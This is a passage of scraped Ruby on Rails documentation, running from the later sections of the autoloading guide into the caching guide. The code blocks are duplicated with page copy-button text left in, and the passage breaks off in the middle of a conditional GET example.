class Polygon < ApplicationRecord
end

# app/models/polygon.rb class Polygon < ApplicationRecord end Copiar

# app/models/triangle.rb
class Triangle < Polygon
end

# app/models/triangle.rb class Triangle < Polygon end Copiar

# app/models/rectangle.rb
class Rectangle < Polygon
end

# app/models/rectangle.rb class Rectangle < Polygon end Copiar

Triangle.create creates a row that represents a triangle, and Rectangle.create creates a row that represents a rectangle. If id is the ID of an existing record, Polygon.find(id) returns an object of the correct type.

Methods that operate on collections are also aware of the hierarchy. For example, Polygon.all returns all the records of the table, because all rectangles and triangles are polygons. Active Record takes care of returning instances of their corresponding class in the result set.

Types are autoloaded as needed. For example, if Polygon.first is a rectangle and Rectangle has not yet been loaded, Active Record autoloads it and the record is correctly instantiated.

All good, but if instead of performing queries based on the root class we need to work on some subclass, things get interesting.

While working with Polygon you do not need to be aware of all its descendants, because anything in the table is by definition a polygon, but when working with subclasses Active Record needs to be able to enumerate the types it is looking for. Let's see an example.

Rectangle.all only loads rectangles by adding a type constraint to the query:

SELECT "polygons".* FROM "polygons"
WHERE "polygons"."type" IN ("Rectangle")

SELECT "polygons".* FROM "polygons" WHERE "polygons"."type" IN ("Rectangle") Copiar

Let's introduce now a subclass of Rectangle:

# app/models/square.rb
class Square < Rectangle
end

# app/models/square.rb class Square < Rectangle end Copiar

Rectangle.all should now return rectangles and squares:

SELECT "polygons".* FROM "polygons"
WHERE "polygons"."type" IN ("Rectangle", "Square")

SELECT "polygons".* FROM "polygons" WHERE "polygons"."type" IN ("Rectangle", "Square") Copiar

But there's a caveat here: How does Active Record know that the class Square exists at all?

Even if the file app/models/square.rb exists and defines the Square class, if no code yet used that class, Rectangle.all issues the query

SELECT "polygons".* FROM "polygons"
WHERE "polygons"."type" IN ("Rectangle")

SELECT "polygons".* FROM "polygons" WHERE "polygons"."type" IN ("Rectangle") Copiar

That is not a bug, the query includes all known descendants of Rectangle.

A way to ensure this works correctly regardless of the order of execution is to manually load the direct subclasses at the bottom of the file that defines each intermediate class:

# app/models/rectangle.rb
class Rectangle < Polygon
end
require_dependency 'square'

# app/models/rectangle.rb class Rectangle < Polygon end require_dependency 'square' Copiar

This needs to happen for every intermediate (non-root and non-leaf) class. The root class does not scope the query by type, and therefore does not necessarily have to know all its descendants.

9.4 Autoloading and require

Files defining constants to be autoloaded should never be required:

require "user" # DO NOT DO THIS

class UsersController < ApplicationController
# ...
end

require "user" # DO NOT DO THIS class UsersController < ApplicationController # ... end Copiar

There are two possible gotchas here in development mode:

1. If User is autoloaded before reaching the require, app/models/user.rb runs again because load does not update $LOADED_FEATURES.

2. If the require runs first Rails does not mark User as an autoloaded constant and changes to app/models/user.rb aren't reloaded.

Just follow the flow and use constant autoloading always, never mix autoloading and require. As a last resort, if some file absolutely needs to load a certain file use require_dependency to play nice with constant autoloading. This option is rarely needed in practice, though.

Of course, using require in autoloaded files to load ordinary 3rd party libraries is fine, and Rails is able to distinguish their constants, they are not marked as autoloaded.

9.5 Autoloading and Initializers

Consider this assignment in config/initializers/set_auth_service.rb:

AUTH_SERVICE = if Rails.env.production?
RealAuthService
else
MockedAuthService
end

AUTH_SERVICE = if Rails.env.production? RealAuthService else MockedAuthService end Copiar

The purpose of this setup would be that the application uses the class that corresponds to the environment via AUTH_SERVICE. In development mode MockedAuthService gets autoloaded when the initializer runs. Let's suppose we do some requests, change its implementation, and hit the application again. To our surprise the changes are not reflected. Why?

As we saw earlier, Rails removes autoloaded constants, but AUTH_SERVICE stores the original class object. Stale, non-reachable using the original constant, but perfectly functional.

The following code summarizes the situation:

class C
def quack
'quack!'
end
end

X = C
Object.instance_eval { remove_const(:C) }
X.new.quack # => quack!
X.name      # => C
C           # => uninitialized constant C (NameError)

class C def quack 'quack!' end end X = C Object.instance_eval { remove_const(:C) } X.new.quack # => quack! X.name # => C C # => uninitialized constant C (NameError) Copiar

Because of that, it is not a good idea to autoload constants on application initialization.

In the case above we could implement a dynamic access point:

# app/models/auth_service.rb
class AuthService
if Rails.env.production?
def self.instance
RealAuthService
end
else
def self.instance
MockedAuthService
end
end
end

# app/models/auth_service.rb class AuthService if Rails.env.production? def self.instance RealAuthService end else def self.instance MockedAuthService end end end Copiar

and have the application use AuthService.instance instead. AuthService would be loaded on demand and be autoload-friendly.

9.6 require_dependency and Initializers

As we saw before, require_dependency loads files in an autoloading-friendly way. Normally, though, such a call does not make sense in an initializer.

One could think about doing some require_dependency calls in an initializer to make sure certain constants are loaded upfront, for example as an attempt to address the gotcha with STIs.

Problem is, in development mode autoloaded constants are wiped if there is any relevant change in the file system. If that happens then we are in the very same situation the initializer wanted to avoid!

Calls to require_dependency have to be strategically written in autoloaded spots.

9.7 When Constants aren't Missed

9.7.1 Relative References

Let's consider a flight simulator. The application has a default flight model

# app/models/flight_model.rb
class FlightModel
end

# app/models/flight_model.rb class FlightModel end Copiar

that can be overridden by each airplane, for instance

# app/models/bell_x1/flight_model.rb
module BellX1
class FlightModel < FlightModel
end
end

# app/models/bell_x1/flight_model.rb module BellX1 class FlightModel < FlightModel end end Copiar

# app/models/bell_x1/aircraft.rb
module BellX1
class Aircraft
def initialize
@flight_model = FlightModel.new
end
end
end

# app/models/bell_x1/aircraft.rb module BellX1 class Aircraft def initialize @flight_model = FlightModel.new end end end Copiar

The initializer wants to create a BellX1::FlightModel and nesting has BellX1, that looks good. But if the default flight model is loaded and the one for the Bell-X1 is not, the interpreter is able to resolve the top-level FlightModel and autoloading is thus not triggered for BellX1::FlightModel.

That code depends on the execution path.

These kind of ambiguities can often be resolved using qualified constants:

module BellX1
class Plane
def flight_model
@flight_model ||= BellX1::FlightModel.new
end
end
end

module BellX1 class Plane def flight_model @flight_model ||= BellX1::FlightModel.new end end end Copiar

Also, require_dependency is a solution:

require_dependency 'bell_x1/flight_model'

module BellX1
class Plane
def flight_model
@flight_model ||= FlightModel.new
end
end
end

require_dependency 'bell_x1/flight_model' module BellX1 class Plane def flight_model @flight_model ||= FlightModel.new end end end Copiar

9.7.2 Qualified References

This gotcha is only possible in Ruby < 2.5.

Given

# app/models/hotel.rb
class Hotel
end

# app/models/hotel.rb class Hotel end Copiar

# app/models/image.rb
class Image
end

# app/models/image.rb class Image end Copiar

# app/models/hotel/image.rb
class Hotel
class Image < Image
end
end

# app/models/hotel/image.rb class Hotel class Image < Image end end Copiar

the expression Hotel::Image is ambiguous because it depends on the execution path.

As we saw before, Ruby looks up the constant in Hotel and its ancestors. If app/models/image.rb has been loaded but app/models/hotel/image.rb hasn't, Ruby does not find Image in Hotel, but it does in Object:

$ bin/rails runner 'Image; p Hotel::Image' 2>/dev/null
Image # NOT Hotel::Image!

bin/rails runner 'Image; p Hotel::Image' 2>/dev/null Copiar

The code evaluating Hotel::Image needs to make sure app/models/hotel/image.rb has been loaded, possibly with require_dependency.

In these cases the interpreter issues a warning though:

warning: toplevel constant Image referenced by Hotel::Image

warning: toplevel constant Image referenced by Hotel::Image Copiar

This surprising constant resolution can be observed with any qualifying class:

irb(main):001:0> String::Array
(irb):1: warning: toplevel constant Array referenced by String::Array
=> Array

String::Array Copiar

To find this gotcha the qualifying namespace has to be a class, Object is not an ancestor of modules.

9.8 Autoloading within Singleton Classes

Let's suppose we have these class definitions:

# app/models/hotel/services.rb
module Hotel
class Services
end
end

# app/models/hotel/services.rb module Hotel class Services end end Copiar

# app/models/hotel/geo_location.rb
module Hotel
class GeoLocation
class << self
Services
end
end
end

# app/models/hotel/geo_location.rb module Hotel class GeoLocation class << self Services end end end Copiar

If Hotel::Services is known by the time app/models/hotel/geo_location.rb is being loaded, Services is resolved by Ruby because Hotel belongs to the nesting when the singleton class of Hotel::GeoLocation is opened.

But if Hotel::Services is not known, Rails is not able to autoload it, the application raises NameError.

The reason is that autoloading is triggered for the singleton class, which is anonymous, and as we saw before, Rails only checks the top-level namespace in that edge case.

An easy solution to this caveat is to qualify the constant:

module Hotel
class GeoLocation
class << self
Hotel::Services
end
end
end

module Hotel class GeoLocation class << self Hotel::Services end end end Copiar

9.9 Autoloading in BasicObject

Direct descendants of BasicObject do not have Object among their ancestors and cannot resolve top-level constants:

class C < BasicObject
String # NameError: uninitialized constant C::String
end

class C < BasicObject String # NameError: uninitialized constant C::String end Copiar

When autoloading is involved that plot has a twist. Let's consider:

class C < BasicObject
def user
User # WRONG
end
end

class C < BasicObject def user User # WRONG end end Copiar

Since Rails checks the top-level namespace User gets autoloaded just fine the first time the user method is invoked. You only get the exception if the User constant is known at that point, in particular in a second call to user:

c = C.new
c.user # surprisingly fine, User
c.user # NameError: uninitialized constant C::User

c = C.new c.user # surprisingly fine, User c.user # NameError: uninitialized constant C::User Copiar

because it detects that a parent namespace already has the constant (see Qualified References).

As with pure Ruby, within the body of a direct descendant of BasicObject use always absolute constant paths:

class C < BasicObject
::String # RIGHT

def user
::User # RIGHT
end
end

class C < BasicObject ::String # RIGHT def user ::User # RIGHT end end Copiar

9.10 Autoloading in the Test Environment

When configuring the test environment for autoloading you might consider multiple factors.

For example it might be worth running your tests with an identical setup to production (config.eager_load = true, config.cache_classes = true) in order to catch any problems before they hit production (this is compensation for the lack of dev-prod parity). However this will slow down the boot time for individual tests on a dev machine (and is not immediately compatible with spring see below). So one possibility is to do this on a CI machine only (which should run without spring).

On a development machine you can then have your tests running with whatever is fastest (ideally config.eager_load = false).

With the Spring pre-loader (included with new Rails apps), you ideally keep config.eager_load = false as per development. Sometimes you may end up with a hybrid configuration (config.eager_load = true, config.cache_classes = true AND config.enable_dependency_loading = true), see spring issue. However it might be simpler to keep the same configuration as development, and work out whatever it is that is causing autoloading to fail (perhaps by the results of your CI test results).

Occasionally you may need to explicitly eager_load by using Rails .application.eager_load! in the setup of your tests -- this might occur if your tests involve multithreading.

10 Troubleshooting

10.1 Tracing Autoloads

Active Support is able to report constants as they are autoloaded. To enable these traces in a Rails application, put the following two lines in some initializer:

ActiveSupport::Dependencies.logger = Rails.logger
ActiveSupport::Dependencies.verbose = true

ActiveSupport::Dependencies.logger = Rails.logger ActiveSupport::Dependencies.verbose = true Copiar

10.2 Where is a Given Autoload Triggered?

If constant Foo is being autoloaded, and you'd like to know where is that autoload coming from, just throw

puts caller

puts caller Copiar

at the top of foo.rb and inspect the printed stack trace.

10.3 Which Constants Have Been Autoloaded?

At any given time,

ActiveSupport::Dependencies.autoloaded_constants

ActiveSupport::Dependencies.autoloaded_constants Copiar

has the collection of constants that have been autoloaded so far.

Caching with Rails: An Overview — Ruby...

1 Basic Caching

This is an introduction to three types of caching techniques: page, action and fragment caching. By default Rails provides fragment caching. In order to use page and action caching you will need to add actionpack-page_caching and actionpack-action_caching to your Gemfile.

By default, caching is only enabled in your production environment. You can play around with caching locally by running rails dev:cache, or by setting config.action_controller.perform_caching to true in config/environments/development.rb.

Changing the value of config.action_controller.perform_caching will only have an effect on the caching provided by Action Controller. For instance, it will not impact low-level caching, that we address below.

1.1 Page Caching

Page caching is a Rails mechanism which allows the request for a generated page to be fulfilled by the web server (i.e. Apache or NGINX) without having to go through the entire Rails stack. While this is super fast it can't be applied to every situation (such as pages that need authentication). Also, because the web server is serving a file directly from the filesystem you will need to implement cache expiration.

Page Caching has been removed from Rails 4. See the actionpack-page_caching gem.

1.2 Action Caching

Page Caching cannot be used for actions that have before filters - for example, pages that require authentication. This is where Action Caching comes in. Action Caching works like Page Caching except the incoming web request hits the Rails stack so that before filters can be run on it before the cache is served. This allows authentication and other restrictions to be run while still serving the result of the output from a cached copy.

Action Caching has been removed from Rails 4. See the actionpack-action_caching gem. See DHH's key-based cache expiration overview for the newly-preferred method.

1.3 Fragment Caching

Dynamic web applications usually build pages with a variety of components not all of which have the same caching characteristics. When different parts of the page need to be cached and expired separately you can use Fragment Caching.

Fragment Caching allows a fragment of view logic to be wrapped in a cache block and served out of the cache store when the next request comes in.

For example, if you wanted to cache each product on a page, you could use this code:

<% @products.each do |product| %>
<% cache product do %>
<%= render product %>
<% end %>
<% end %>

<% @products.each do |product| %> <% cache product do %> <%= render product %> <% end %> <% end %> Copiar

When your application receives its first request to this page, Rails will write a new cache entry with a unique key. A key looks something like this:

views/products/index:bea67108094918eeba42cd4a6e786901/products/1

views/products/index:bea67108094918eeba42cd4a6e786901/products/1 Copiar

The string of characters in the middle is a template tree digest. It is a hash digest computed based on the contents of the view fragment you are caching. If you change the view fragment (e.g., the HTML changes), the digest will change, expiring the existing file.

A cache version, derived from the product record, is stored in the cache entry. When the product is touched, the cache version changes, and any cached fragments that contain the previous version are ignored.

Cache stores like Memcached will automatically delete old cache files.

If you want to cache a fragment under certain conditions, you can use cache_if or cache_unless:

<% cache_if admin?, product do %>
<%= render product %>
<% end %>

<% cache_if admin?, product do %> <%= render product %> <% end %> Copiar

1.3.1 Collection caching

The render helper can also cache individual templates rendered for a collection. It can even one up the previous example with each by reading all cache templates at once instead of one by one. This is done by passing cached: true when rendering the collection:

<%= render partial: 'products/product', collection: @products, cached: true %>

<%= render partial: 'products/product', collection: @products, cached: true %> Copiar

All cached templates from previous renders will be fetched at once with much greater speed. Additionally, the templates that haven't yet been cached will be written to cache and multi fetched on the next render.

1.4 Russian Doll Caching

You may want to nest cached fragments inside other cached fragments. This is called Russian doll caching.

The advantage of Russian doll caching is that if a single product is updated, all the other inner fragments can be reused when regenerating the outer fragment.

As explained in the previous section, a cached file will expire if the value of updated_at changes for a record on which the cached file directly depends. However, this will not expire any cache the fragment is nested within.

For example, take the following view:

<% cache product do %>
<%= render product.games %>
<% end %>

<% cache product do %> <%= render product.games %> <% end %> Copiar

Which in turn renders this view:

<% cache game do %>
<%= render game %>
<% end %>

<% cache game do %> <%= render game %> <% end %> Copiar

If any attribute of game is changed, the updated_at value will be set to the current time, thereby expiring the cache. However, because updated_at will not be changed for the product object, that cache will not be expired and your app will serve stale data. To fix this, we tie the models together with the touch method:

class Product < ApplicationRecord
has_many :games
end

class Game < ApplicationRecord
belongs_to :product, touch: true
end

class Product < ApplicationRecord has_many :games end class Game < ApplicationRecord belongs_to :product, touch: true end Copiar

With touch set to true, any action which changes updated_at for a game record will also change it for the associated product, thereby expiring the cache.

1.5 Shared Partial Caching

It is possible to share partials and associated caching between files with different mime types. For example shared partial caching allows template writers to share a partial between HTML and JavaScript files. When templates are collected in the template resolver file paths they only include the template language extension and not the mime type. Because of this templates can be used for multiple mime types. Both HTML and JavaScript requests will respond to the following code:

render(partial: 'hotels/hotel', collection: @hotels, cached: true)

render(partial: 'hotels/hotel', collection: @hotels, cached: true) Copiar

Will load a file named hotels/hotel.erb.

Another option is to include the full filename of the partial to render.

render(partial: 'hotels/hotel.html.erb', collection: @hotels, cached: true)

render(partial: 'hotels/hotel.html.erb', collection: @hotels, cached: true) Copiar

Will load a file named hotels/hotel.html.erb in any file mime type, for example you could include this partial in a JavaScript file.

1.6 Managing dependencies

In order to correctly invalidate the cache, you need to properly define the caching dependencies. Rails is clever enough to handle common cases so you don't have to specify anything. However, sometimes, when you're dealing with custom helpers for instance, you need to explicitly define them.

1.6.1 Implicit dependencies

Most template dependencies can be derived from calls to render in the template itself. Here are some examples of render calls that ActionView::Digestor knows how to decode:

render partial: "comments/comment", collection: commentable.comments
render "comments/comments"
render 'comments/comments'
render('comments/comments')

render "header" translates to render("comments/header")

render(@topic)         translates to render("topics/topic")
render(topics)         translates to render("topics/topic")
render(message.topics) translates to render("topics/topic")

render partial: "comments/comment", collection: commentable.comments render "comments/comments" render 'comments/comments' render('comments/comments') render "header" translates to render("comments/header") render(@topic) translates to render("topics/topic") render(topics) translates to render("topics/topic") render(message.topics) translates to render("topics/topic") Copiar

On the other hand, some calls need to be changed to make caching work properly. For instance, if you're passing a custom collection, you'll need to change:

render @project.documents.where(published: true)

render @project.documents.where(published: true) Copiar

to:

render partial: "documents/document", collection: @project.documents.where(published: true)

render partial: "documents/document", collection: @project.documents.where(published: true) Copiar

1.6.2 Explicit dependencies

Sometimes you'll have template dependencies that can't be derived at all. This is typically the case when rendering happens in helpers. Here's an example:

<%= render_sortable_todolists @project.todolists %>

<%= render_sortable_todolists @project.todolists %> Copiar

You'll need to use a special comment format to call those out:

<%# Template Dependency: todolists/todolist %>
<%= render_sortable_todolists @project.todolists %>

<%# Template Dependency: todolists/todolist %> <%= render_sortable_todolists @project.todolists %> Copiar

In some cases, like a single table inheritance setup, you might have a bunch of explicit dependencies. Instead of writing every template out, you can use a wildcard to match any template in a directory:

<%# Template Dependency: events/* %>
<%= render_categorizable_events @person.events %>

<%# Template Dependency: events/* %> <%= render_categorizable_events @person.events %> Copiar

As for collection caching, if the partial template doesn't start with a clean cache call, you can still benefit from collection caching by adding a special comment format anywhere in the template, like:

<%# Template Collection: notification %>
<% my_helper_that_calls_cache(some_arg, notification) do %>
<%= notification.name %>
<% end %>

<%# Template Collection: notification %> <% my_helper_that_calls_cache(some_arg, notification) do %> <%= notification.name %> <% end %> Copiar

1.6.3 External dependencies

If you use a helper method, for example, inside a cached block and you then update that helper, you'll have to bump the cache as well. It doesn't really matter how you do it, but the MD5 of the template file must change. One recommendation is to simply be explicit in a comment, like:

<%# Helper Dependency Updated: Jul 28, 2015 at 7pm %>
<%= some_helper_method(person) %>

<%# Helper Dependency Updated: Jul 28, 2015 at 7pm %> <%= some_helper_method(person) %> Copiar

1.7 Low-Level Caching

Sometimes you need to cache a particular value or query result instead of caching view fragments. Rails' caching mechanism works great for storing any kind of information.

The most efficient way to implement low-level caching is using the Rails.cache.fetch method. This method does both reading and writing to the cache. When passed only a single argument, the key is fetched and value from the cache is returned. If a block is passed, that block will be executed in the event of a cache miss. The return value of the block will be written to the cache under the given cache key, and that return value will be returned. In case of cache hit, the cached value will be returned without executing the block.

Consider the following example. An application has a Product model with an instance method that looks up the product's price on a competing website. The data returned by this method would be perfect for low-level caching:

class Product < ApplicationRecord
def competing_price
Rails.cache.fetch("#{cache_key_with_version}/competing_price", expires_in: 12.hours) do
Competitor::API.find_price(id)
end
end
end

class Product < ApplicationRecord def competing_price Rails.cache.fetch("#{cache_key_with_version}/competing_price", expires_in: 12.hours) do Competitor::API.find_price(id) end end end Copiar

Notice that in this example we used the cache_key_with_version method, so the resulting cache key will be something like products/233-20140225082222765838000/competing_price. cache_key_with_version generates a string based on the model's class name, id, and updated_at attributes. This is a common convention and has the benefit of invalidating the cache whenever the product is updated. In general, when you use low-level caching for instance level information, you need to generate a cache key.

1.8 SQL Caching

Query caching is a Rails feature that caches the result set returned by each query. If Rails encounters the same query again for that request, it will use the cached result set as opposed to running the query against the database again.

For example:

class ProductsController < ApplicationController

def index
# Run a find query
@products = Product.all

# ...

# Run the same query again
@products = Product.all
end

end

class ProductsController < ApplicationController def index # Run a find query @products = Product.all # ... # Run the same query again @products = Product.all end end Copiar

The second time the same query is run against the database, it's not actually going to hit the database. The first time the result is returned from the query it is stored in the query cache (in memory) and the second time it's pulled from memory.

However, it's important to note that query caches are created at the start of an action and destroyed at the end of that action and thus persist only for the duration of the action. If you'd like to store query results in a more persistent fashion, you can with low level caching.

2 Cache Stores

Rails provides different stores for the cached data (apart from SQL and page caching).

2.1 Configuration

You can set up your application's default cache store by setting the config.cache_store configuration option. Other parameters can be passed as arguments to the cache store's constructor:

config.cache_store = :memory_store, { size: 64.megabytes }

config.cache_store = :memory_store, { size: 64.megabytes } Copiar

Alternatively, you can call ActionController::Base.cache_store outside of a configuration block.

You can access the cache by calling Rails.cache.

2.2 ActiveSupport::Cache::Store

This class provides the foundation for interacting with the cache in Rails. This is an abstract class and you cannot use it on its own. Rather you must use a concrete implementation of the class tied to a storage engine. Rails ships with several implementations documented below.

The main methods to call are read, write, delete, exist?, and fetch. The fetch method takes a block and will either return an existing value from the cache, or evaluate the block and write the result to the cache if no value exists.

There are some common options that can be used by all cache implementations. These can be passed to the constructor or the various methods to interact with entries.

- :namespace - This option can be used to create a namespace within the cache store. It is especially useful if your application shares a cache with other applications.

- :compress - Enabled by default. Compresses cache entries so more data can be stored in the same memory footprint, leading to fewer cache evictions and higher hit rates.

- :compress_threshold - Defaults to 1kB. Cache entries larger than this threshold, specified in bytes, are compressed.

- :expires_in - This option sets an expiration time in seconds for the cache entry, if the cache store supports it, when it will be automatically removed from the cache.

- :race_condition_ttl - This option is used in conjunction with the :expires_in option. It will prevent race conditions when cache entries expire by preventing multiple processes from simultaneously regenerating the same entry (also known as the dog pile effect). This option sets the number of seconds that an expired entry can be reused while a new value is being regenerated. It's a good practice to set this value if you use the :expires_in option.

2.2.1 Connection Pool Options

By default the MemCacheStore and RedisCacheStore use a single connection per process. This means that if you're using Puma, or another threaded server, you can have multiple threads waiting for the connection to become available. To increase the number of available connections you can enable connection pooling.

First, add the connection_pool gem to your Gemfile:

gem 'connection_pool'

gem 'connection_pool' Copiar

Next, pass the :pool_size and/or :pool_timeout options when configuring the cache store:

config.cache_store = :mem_cache_store, "cache.example.com", { pool_size: 5, pool_timeout: 5 }

config.cache_store = :mem_cache_store, "cache.example.com", { pool_size: 5, pool_timeout: 5 } Copiar

- :pool_size - This option sets the number of connections per process (defaults to 5).

- :pool_timeout - This option sets the number of seconds to wait for a connection (defaults to 5). If no connection is available within the timeout, a Timeout::Error will be raised.

2.2.2 Custom Cache Stores

You can create your own custom cache store by simply extending ActiveSupport::Cache::Store and implementing the appropriate methods. This way, you can swap in any number of caching technologies into your Rails application.

To use a custom cache store, simply set the cache store to a new instance of your custom class.

config.cache_store = MyCacheStore.new

config.cache_store = MyCacheStore.new Copiar

2.3 ActiveSupport::Cache::MemoryStore

This cache store keeps entries in memory in the same Ruby process. The cache store has a bounded size specified by sending the :size option to the initializer (default is 32Mb). When the cache exceeds the allotted size, a cleanup will occur and the least recently used entries will be removed.

config.cache_store = :memory_store, { size: 64.megabytes }

config.cache_store = :memory_store, { size: 64.megabytes } Copiar

If you're running multiple Ruby on Rails server processes (which is the case if you're using Phusion Passenger or puma clustered mode), then your Rails server process instances won't be able to share cache data with each other. This cache store is not appropriate for large application deployments. However, it can work well for small, low traffic sites with only a couple of server processes, as well as development and test environments.

New Rails projects are configured to use this implementation in development environment by default.

Since processes will not share cache data when using :memory_store, it will not be possible to manually read, write, or expire the cache via the Rails console.

2.4 ActiveSupport::Cache::FileStore

This cache store uses the file system to store entries. The path to the directory where the store files will be stored must be specified when initializing the cache.

config.cache_store = :file_store, "/path/to/cache/directory"

config.cache_store = :file_store, "/path/to/cache/directory" Copiar

With this cache store, multiple server processes on the same host can share a cache. This cache store is appropriate for low to medium traffic sites that are served off one or two hosts. Server processes running on different hosts could share a cache by using a shared file system, but that setup is not recommended.

As the cache will grow until the disk is full, it is recommended to periodically clear out old entries.

This is the default cache store implementation (at "#{root}/tmp/cache/") if no explicit config.cache_store is supplied.

2.5 ActiveSupport::Cache::MemCacheStore

This cache store uses Danga's memcached server to provide a centralized cache for your application. Rails uses the bundled dalli gem by default. This is currently the most popular cache store for production websites. It can be used to provide a single, shared cache cluster with very high performance and redundancy.

When initializing the cache, you should specify the addresses for all memcached servers in your cluster, or ensure the MEMCACHE_SERVERS environment variable has been set appropriately.

config.cache_store = :mem_cache_store, "cache-1.example.com", "cache-2.example.com"

config.cache_store = :mem_cache_store, "cache-1.example.com", "cache-2.example.com" Copiar

If neither are specified, it will assume memcached is running on localhost on the default port (127.0.0.1:11211), but this is not an ideal setup for larger sites.

config.cache_store = :mem_cache_store # Will fallback to $MEMCACHE_SERVERS, then 127.0.0.1:11211

config.cache_store = :mem_cache_store # Will fallback to $MEMCACHE_SERVERS, then 127.0.0.1:11211 Copiar

See the Dalli::Client documentation for supported address types.

The write and fetch methods on this cache accept two additional options that take advantage of features specific to memcached. You can specify :raw to send a value directly to the server with no serialization. The value must be a string or number. You can use memcached direct operations like increment and decrement only on raw values. You can also specify :unless_exist if you don't want memcached to overwrite an existing entry.

2.6 ActiveSupport::Cache::RedisCacheStore

The Redis cache store takes advantage of Redis support for automatic eviction when it reaches max memory, allowing it to behave much like a Memcached cache server.

Deployment note: Redis doesn't expire keys by default, so take care to use a dedicated Redis cache server. Don't fill up your persistent-Redis server with volatile cache data! Read the Redis cache server setup guide in detail.

For a cache-only Redis server, set maxmemory-policy to one of the variants of allkeys. Redis 4+ supports least-frequently-used eviction (allkeys-lfu), an excellent default choice. Redis 3 and earlier should use least-recently-used eviction (allkeys-lru).

Set cache read and write timeouts relatively low. Regenerating a cached value is often faster than waiting more than a second to retrieve it. Both read and write timeouts default to 1 second, but may be set lower if your network is consistently low-latency.

By default, the cache store will not attempt to reconnect to Redis if the connection fails during a request. If you experience frequent disconnects you may wish to enable reconnect attempts.

Cache reads and writes never raise exceptions; they just return nil instead, behaving as if there was nothing in the cache. To gauge whether your cache is hitting exceptions, you may provide an error_handler to report to an exception gathering service. It must accept three keyword arguments: method, the cache store method that was originally called; returning, the value that was returned to the user, typically nil; and exception, the exception that was rescued.

To get started, add the redis gem to your Gemfile:

gem 'redis'

gem 'redis' Copiar

You can enable support for the faster hiredis connection library by additionally adding its ruby wrapper to your Gemfile:

gem 'hiredis'

gem 'hiredis' Copiar

Redis cache store will automatically require and use hiredis if available. No further configuration is needed.

Finally, add the configuration in the relevant config/environments/*.rb file:

config.cache_store = :redis_cache_store, { url: ENV['REDIS_URL'] }

config.cache_store = :redis_cache_store, { url: ENV['REDIS_URL'] } Copiar

A more complex, production Redis cache store may look something like this:

cache_servers = %w(redis://cache-01:6379/0 redis://cache-02:6379/0)
config.cache_store = :redis_cache_store, { url: cache_servers,

connect_timeout:    30,  # Defaults to 20 seconds
read_timeout:       0.2, # Defaults to 1 second
write_timeout:      0.2, # Defaults to 1 second
reconnect_attempts: 1,   # Defaults to 0

error_handler: -> (method:, returning:, exception:) {
# Report errors to Sentry as warnings
Raven.capture_exception exception, level: 'warning',
tags: { method: method, returning: returning }
}
}

cache_servers = %w(redis://cache-01:6379/0 redis://cache-02:6379/0) config.cache_store = :redis_cache_store, { url: cache_servers, connect_timeout: 30, # Defaults to 20 seconds read_timeout: 0.2, # Defaults to 1 second write_timeout: 0.2, # Defaults to 1 second reconnect_attempts: 1, # Defaults to 0 error_handler: -> (method:, returning:, exception:) { # Report errors to Sentry as warnings Raven.capture_exception exception, level: 'warning', tags: { method: method, returning: returning } } } Copiar

2.7 ActiveSupport::Cache::NullStore

This cache store implementation is meant to be used only in development or test environments and it never stores anything. This can be very useful in development when you have code that interacts directly with Rails.cache but caching may interfere with being able to see the results of code changes. With this cache store, all fetch and read operations will result in a miss.

config.cache_store = :null_store

config.cache_store = :null_store Copiar

3 Cache Keys

The keys used in a cache can be any object that responds to either cache_key or to_param. You can implement the cache_key method on your classes if you need to generate custom keys. Active Record will generate keys based on the class name and record id.

You can use Hashes and Arrays of values as cache keys.

# This is a legal cache key
Rails.cache.read(site: "mysite", owners: [owner_1, owner_2])

# This is a legal cache key Rails.cache.read(site: "mysite", owners: [owner_1, owner_2]) Copiar

The keys you use on Rails.cache will not be the same as those actually used with the storage engine. They may be modified with a namespace or altered to fit technology backend constraints. This means, for instance, that you can't save values with Rails.cache and then try to pull them out with the dalli gem. However, you also don't need to worry about exceeding the memcached size limit or violating syntax rules.

4 Conditional GET support

Conditional GETs are a feature of the HTTP specification that provide a way for web servers to tell browsers that the response to a GET request hasn't changed since the last request and can be safely pulled from the browser cache.

They work by using the HTTP_IF_NONE_MATCH and HTTP_IF_MODIFIED_SINCE headers to pass back and forth both a unique content identifier and the timestamp of when the content was last changed. If the browser makes a request where the content identifier (etag) or last modified since timestamp matches the server's version then the server only needs to send back an empty response with a not modified status.

It is the server's (i.e. our) responsibility to look for a last modified timestamp and the if-none-match header and determine whether or not to send back the full response. With conditional-get support in Rails this is a pretty easy task:

class ProductsController < ApplicationController

def show
@product = Product.find(params[:id])

# If the request is stale according to the given timestamp and etag value
# (i.e. it needs to be processed again) then execute this block
if stale?(last_modified: @product.updated_at.utc, etag: @product.cache_key_with_version)
respond_to do |wants|
# ... normal response processing
end
end

# If the request is fresh (i.e. it's not modified) then you don't need to do
# anything. The default render checks for this using the parameters
# used in the previous call to stale? and will automatically send a
# :not_modified. So that's it, you're done.
end
end

class ProductsController < ApplicationController def show @product = Product.find(params[:id]) # If the request is stale according to the given timestamp and etag value # (i.e. it needs to be processed again) then execute this block if stale?(last_modified: @product.updated_at.utc, etag: @product.cache_key_with_version) respond_to do |wants| # ... normal response processing end end # If the request is fresh (i.e. it's not modified) then you don't need to do # anything. The default render checks for this using the parameters # used in the previous call to stale? and will automatically send a # :not_modified. So that's it, you're done. end end Copiar

Instead of an options hash, you can also simply pass in a model. Rails will use the updated_at and cache_key_with_version methods for setting last_modified and etag:

class ProductsController < ApplicationController
def show
@product = Product.find(params[:id])

if stale?(@product)
respond_to do |wants|
# ... normal response processing
end
end
end
end

class ProductsController < ApplicationController def show @product = Product.find(params[:id]) if stale?(@product) respond_to do |wants| # ... normal response processing end end end end Copiar

If you don't have any special response processing and are using the default rendering mechanism (i.e. you're not using respond_to or calling render yourself) then you've got an easy helper in fresh_when:

class ProductsController < ApplicationController

# This will automatically send back a :not_modified if the request is fresh,
# and will render the default template (product.*) if it's stale.

def show
@product = Product.find(params[:id])
fresh_when last_modified: @product.published_at.utc, etag: @product
end
end

class ProductsController < ApplicationController # This will automatically send back a :not_modified if the request is fresh, # and will render the default template (product.*) if it's stale. def show @product = Product.find(params[:id]) fresh_when last_modified: @product.published_at.utc, etag: @product end end Copiar

Sometimes we want to cache response, for example a static page, that never gets expired. To achieve this, we can use http_cache_forever helper and by doing so browser and proxies will cache it indefinitely.

By default cached responses will be private, cached only on the user's web browser. To allow proxies to cache the response, set public: true to indicate that they can serve the cached response to all users.

Using this helper, last_modified header is set to Time.new(2011, 1, 1).utc and expires header is set to a 100 years.

Use this method carefully as browser/proxy won't be able to invalidate the cached response unless browser cache is forcefully cleared.

class HomeController < ApplicationController
def index
